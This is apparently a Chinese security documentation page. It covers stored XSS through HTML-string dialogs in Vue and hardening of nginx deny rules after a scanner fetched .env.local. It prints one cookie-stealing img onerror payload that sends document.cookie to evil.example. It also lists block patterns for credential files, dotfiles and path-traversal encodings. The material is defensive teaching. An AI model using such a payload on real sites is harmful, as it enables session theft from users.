外观
网络安全
XSS:当用户输入被当作 HTML 渲染
XSS(Cross-Site Scripting,跨站脚本攻击) 指攻击者将恶意脚本注入页面,使其在其他用户的浏览器中执行,进而窃取会话、伪造操作或篡改页面内容。按注入途径分为三类:
- 反射型:恶意脚本藏在 URL 参数中,服务端将其原样回显到页面
- 存储型:恶意脚本被持久化(如用户名、留言、评论),所有访问该内容的用户都会中招
- DOM 型:纯前端代码将不可信数据写入
innerHTML等会解析 HTML 的接口
三类攻击的共同前提是同一件事:不可信数据被当作 HTML 解析。
风险场景:为富文本效果拼接 HTML 字符串
弹框提示、通知、评论渲染等场景中,经常需要对部分文案做高亮、加粗等富文本效果。不少组件库提供了按 HTML 解析消息内容的开关(如 dangerouslyUseHTMLString),开发者为了实现样式,很容易把用户输入直接拼进 HTML 字符串:
typescript
// 反例:username 来自用户输入,直接拼进 HTML 字符串
const message = `确认删除用户"${username}"的全部资产?
<span style="color: red; font-weight: 600;">删除后不可恢复</span>。`;
await confirmAction(message, "资产删除确认", {
dangerouslyUseHTMLString: true,
});1
2
3
4
5
6
7
2
3
4
5
6
7
若 username 的值为一段载荷:
text
<img src=x onerror="fetch('https://evil.example/?c=' + document.cookie)">1
页面渲染时脚本随即执行,攻击者可窃取当前登录用户的 Cookie。由于用户名持久化存储,任何管理员打开该用户的确认弹框都会触发——这是典型的存储型 XSS。
正确做法:VNode 渲染,文本自动转义
Vue 的 h() 函数创建 VNode 后再渲染,字符串子节点作为纯文本插入 DOM,框架自动完成转义;样式经 style 对象传递,全程不经过 HTML 解析:
typescript
const message = h("span", null, [
`确认删除用户"${username}"的全部资产?共 ${count} 条,`,
h(
"span",
{ style: { color: "var(--color-danger)", fontWeight: 600 } },
"删除后不可恢复",
),
"。",
]);1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
即使 username 携带恶意载荷,它也只会以文本形式显示在页面上,不会被执行,高亮效果不受任何影响。
实践原则
- 默认纯文本渲染;富文本效果优先使用 VNode、slot、组件实现,而非 HTML 字符串拼接
- 确需渲染 HTML 时,先经 DOMPurify 等白名单消毒库处理,禁止直接拼接不可信数据
dangerously*命名的 API 是显式危险信号,使用前必须完成消毒并重点 review- 防线不止前端:后端输出编码、CSP 内容安全策略与前端渲染约束共同构成纵深防御
点文件扫描绕过 nginx 前置拦截
某次线上告警显示:扫描器请求 https://example.com/.env.local,没有被前置的 nginx 拦截规则挡住,直接穿透到应用层,由应用层的封禁中间件识别、拉黑来源 IP(形如 203.0.113.7)并触发告警邮件。请求最终被拦住了,但暴露出前置规则存在漏项。
现象:被应用层拦住,不等于拦得好
当时的请求链路如下:
text
扫描器 → nginx → 反向代理 → 应用服务 → 封禁中间件 → 写入黑名单 + 告警邮件1
问题不在"有没有拦住",而在"在哪一层拦住":
- 攻击请求已经占用了一次完整的后端处理:路由匹配、中间件链、数据库读写
- 封禁 IP 与告警邮件是兜底的安全网,不是第一道门;被它们兜底意味着前置规则有漏
- 高频告警会产生噪音,掩盖真正需要关注的事件
根因:枚举式正则天然有漏项
旧规则采用"枚举敏感名"的写法:
nginx
location ~* (?:^|/)[^/]*\.(env|git|svn|hg|htaccess|htpasswd|bash_history|bashrc|profile|ssh|idea|config)(?:$|[/?]) {
return 444;
}1
2
3
2
3
问题出在结尾的 (?:$|[/?]):它要求敏感名之后紧跟路径结尾或 /、?。而 .env.local 中 .env 后面是 .local,整条正则匹配失败,请求顺势落到 location /,被反向代理转发到后端。
同类可绕过的变体还有 .env.production、.env.local.bak、.gitignore、.DS_Store、.npmrc、.aws/credentials。共同特征是:攻击者只需造出一个没被枚举到的名字,规则就失效。枚举式白名单的攻击面会随着变体不断增长。
现行检测规则清单
下面这段配置由仓库文件直接渲染(VitePress 的文件引用语法 <<<),可整段复制到自己的 nginx 配置中:
nginx
# =====================================================================
# nginx 前置安全拦截
# 说明:在业务服务之前对常见路径/后缀攻击请求直接丢弃。
# 对应应用层 src/middlewares/BlockIpMiddleware.mts 的防御逻辑,
# 在 nginx 层提前拦截,减少请求进入业务服务。
# 由各 conf 的 443 server 块 include:/etc/nginx/snippets/security-deny.conf
# 说明:以下均为 location 正则,按出现顺序匹配,且优先于 location / 的反向代理;
# location 匹配的是 nginx 归一化(%XX 已解码、. 与 .. 段已解析)后的路径,不含查询串。
# =====================================================================
# 1. PHP 及变体后缀 → 403
location ~* \.(php|php[0-9]|phtml|pht|phar)$ {
return 403;
}
# 2. WordPress 常见攻击路径 → 403
location ~* ^/(wp-admin|wp-login|wp-content|wp-includes|wp-json|wp-config|wp-cron|wp-settings|xmlrpc\.php|readme\.html|license\.txt) {
return 403;
}
# 3. 其余动态/脚本攻击后缀(对齐中间件并补充 jsp/cgi/py/sh 与源码后缀 ts/mts) → 403
location ~* \.(aspx|ashx|jsp|jspx|asp|do|action|jar|cgi|pl|py|pyc|sh|shtml|cfm|cfc|ts|mts)$ {
return 403;
}
# 4. 点文件 / 点目录(放行 ACME 校验目录 /.well-known/,静默丢弃连接) → 444
# 说明:(?:^|/)\. 只匹配路径段首的点,不影响 /assets/index.a1b2.js、/_nuxt/entry.js 等正常文件;
# (?!well-known(?:/|$)) 排除证书续签使用的公开校验目录;
# 段首为点即丢弃,可覆盖 .env.local、.env.production、.gitignore、.DS_Store、
# .npmrc、.aws/credentials、.vscode/sftp.json 等枚举式规则漏拦的变体。
location ~* (?:^|/)\.(?!well-known(?:/|$)) {
return 444;
}
# 5. 段名以敏感名结尾(如 /prod.env、/backup.env.local,静默丢弃连接) → 444
# 说明:第 4 条只覆盖段首为点的文件,此处补回不以点开头的情形;
# (?:[^a-z0-9]|$) 要求敏感名后为结尾或非字母数字,避免误伤 /foo.environ、/assets/env.svg。
location ~* (?:^|/)[^/]*\.(env|git|svn|hg|npmrc|ds_store|htpasswd|bash_history)(?:[^a-z0-9]|$) {
return 444;
}
# 6. 常见中间件 / 运维 / 源码探测路径(仅顶层锚定,避免误伤业务路由) → 403
# 说明:DB 中过宽泛的模式(/bk、/bc、/new、/old、/wp)仍交由应用层判断,避免误伤正常页面。
location ~* ^/(actuator|druid|swagger|swagger-ui|api-docs|v2/api-docs|solr|jenkins|nacos|grafana|kibana|zabbix|manager|host-manager|jmx-console|web-console|console|owa|ecp|autodiscover|cgi-bin|phpmyadmin|pma|myadmin|adminer|dbadmin|server-status|nginx-status|nginx_status|node_modules|src)(/|\.html|$) {
return 403;
}
# 7. 敏感配置文件名(对外不提供此类合法下载,静默丢弃连接) → 444
location ~* (?:^|/)(config\.json|config\.ya?ml|appsettings\.json|package\.json|package-lock\.json|composer\.json|docker-compose\.ya?ml|credentials\.json|web\.config|dockerfile|makefile|id_rsa|id_dsa|id_ecdsa|id_ed25519)$ {
return 444;
}
# 8. 路径遍历($request_uri 为未解码原始串,用于覆盖 location 匹配前的编码形态) → 403
# 注意:nginx 对未加引号的正则会把 \\ 折叠为 \,因此这里的 \\\\ 才是 PCRE 中的字面反斜杠 \\
# (旧版写作 \\ 时会被编译成 \|,导致 ..\ 分支实际失效)。
if ($request_uri ~* (\.\./|\.\.\\\\|%2e%2e[/\\\\]|%2e%2e%2f|%2e%2e%5c|%252e%252e%252f|\.\.%2f|\.\.%5c)) {
return 403;
}
# 9. 备份/配置/密钥后缀(对外不提供此类合法下载) → 403
location ~* \.(sql|bak|tar|gz|zip|7z|rar|log|ini|conf|cnf|old|tmp|swp|inc|yml|yaml|toml|pem|key|crt|cer|pfx|p12|jks|keystore|db|sqlite|sqlite3|mdb|rdb|dump|lock|map)$ {
return 403;
}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
九类规则的职责与命中示例(location 匹配的是不含查询串、且已完成解码与 ./.. 归一化的路径):
- PHP 及变体后缀 → 403:
https://example.com/index.php、https://example.com/vendor/phpunit/phpunit.php?v=1(查询串不参与匹配,仍按路径命中) - WordPress 常见攻击路径 → 403:
https://example.com/wp-login.php、https://example.com/wp-content/uploads/x.php - 动态/脚本与源码后缀 → 403:
https://example.com/a.aspx、https://example.com/api.do、https://example.com/src/index.mts - 点文件与点目录 → 444(核心修复):
https://example.com/.env.local、https://example.com/.git/config、https://example.com/.aws/credentials;/.well-known/被显式放行,保证证书续签可用 - 段名以敏感名结尾 → 444:
https://example.com/prod.env、https://example.com/backup.env.local;https://example.com/foo.environ、https://example.com/assets/env.svg必须放行 - 常见中间件/运维/源码探测路径 → 403:
https://example.com/actuator/health、https://example.com/swagger-ui.html、https://example.com/server-status、https://example.com/node_modules/vue/index.js - 敏感配置文件名 → 444:
https://example.com/config.json、https://example.com/package.json、https://example.com/Dockerfile - 路径遍历 → 403:
https://example.com/a/../b、https://example.com/..%2f.env、https://example.com/%2e%2e/.env - 备份/配置/密钥后缀 → 403:
https://example.com/db.sql、https://example.com/server.pem、https://example.com/data.sqlite
返回码的取舍:444 是 nginx 特有的非标准码,直接关闭连接、不返回任何响应,对扫描器最省事;403 明确拒绝,便于自己排查时看到结果。两者都比让请求进入业务服务便宜。
如何在其他 nginx 配置里引用这个片段
把整段配置保存为 /etc/nginx/snippets/security-deny.conf,然后在各站点的 server 块内 include:
nginx
server {
listen 443 ssl;
server_name example.com;
ssl_certificate /etc/nginx/certificates/example.com/fullchain.pem;
ssl_certificate_key /etc/nginx/certificates/example.com/privkey.key;
# 前置安全拦截:必须放在业务 location 之前
include /etc/nginx/snippets/security-deny.conf;
location / {
proxy_pass http://127.0.0.1:9000;
proxy_set_header Host $host;
proxy_set_header X-Real-IP $remote_addr;
}
}1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
使用时注意:
- 每个
server块都要各自include,它不会跨 server 生效 - 放置位置有讲究:
location正则按出现顺序匹配,且优先于前缀匹配的location /;放在业务location之前,才能既压过location /,也压过业务自身的正则 location - 只做 HTTPS 跳转的 80 端口
server块通常不需要引入 - 生效步骤:先
nginx -t校验语法,再nginx -s reload;语法不通过时 reload 不会执行,可以放心先校验
隐藏坑:nginx 会折叠正则里的反斜杠
在 nginx 配置里,未加引号的正则中 \\ 会被折叠成 \。也就是说,想让 PCRE 收到一个字面反斜杠 \\,配置里必须写成 \\\\。
这个细节曾让一条规则长期失效:
text
配置里写: \.\.\\ → PCRE 收到:\.\.\ → 实际匹配的是 "..|","..\" 分支失效
配置里写: \.\.\\\\ → PCRE 收到:\.\.\\ → 正确匹配 "..\"1
2
2
更麻烦的是 \.\.\| 本身是合法正则,nginx -t 不会报错,只有实际发一个带 ..\ 的请求才能发现。结论是:语法正确性只有 nginx -t 能证明,语义正确性必须有回归样本兜底。
让规则可回归:部署前自检
规则改完之后,最怕的是"这次修好了,下次改别的又踩回去"。做法是把一次性验证固化成脚本,在部署前执行:
- 从配置文件解析规则,而不是在脚本里重写一份正则——否则规则改了、脚本没改,校验就变成摆设
- 固定样本矩阵:拦截组(各种绕过变体)+ 放行组(正常页面、带哈希的静态资源、
/.well-known/、形如/foo.environ的近似词) - 部署前调用,失败即抛错中止,避免异常规则被推到生产
解析规则的关键片段:
typescript
const RE_LOCATION = /^location\s+~\*\s+(.+?)\s*\{\s*$/;
// nginx 会把未加引号正则里的 \\ 折叠为 \,解析时还原成 PCRE 实际收到的表达式
function toPcreSource(raw: string): string {
return raw.replaceAll("\\\\", "\\");
}
function collectRules(content: string): RegExp[] {
return content
.split("\n")
.map((line) => line.trim().match(RE_LOCATION)?.[1])
.filter((source): source is string => Boolean(source))
.map((source) => new RegExp(toPcreSource(source), "i"));
}1
2
3
4
5
6
7
8
9
10
11
12
13
14
2
3
4
5
6
7
8
9
10
11
12
13
14
两个容易忽略的细节:
- 解析到 0 条规则要直接报错,否则配置格式一变,校验会静默跳过
- 生产环境的日志级别常为
warn,通过提示若用info级日志输出会被吞掉,部署日志里什么都看不到;通过提示应直接输出到标准输出
实践原则
- 拦截越靠前越好:能在 nginx 层丢弃的请求,就不要让它占用应用层的连接与数据库
- 放行清单要显式写出:
/.well-known/、带哈希的静态资源等放行项必须写进规则或样本,否则误伤会比漏拦更难发现 - 从"枚举敏感名"升级到"按结构拦截":点文件一律丢弃,比维护一份永远追不上变体的名字清单可靠
- 规则改动必须配回归样本:语法靠
nginx -t,语义靠样本矩阵,两者缺一不可 - 应用层兜底保留:可热更新的规则库与 IP 封禁仍有必要,用于覆盖那些过于宽泛、不适合在网关层一刀切的模式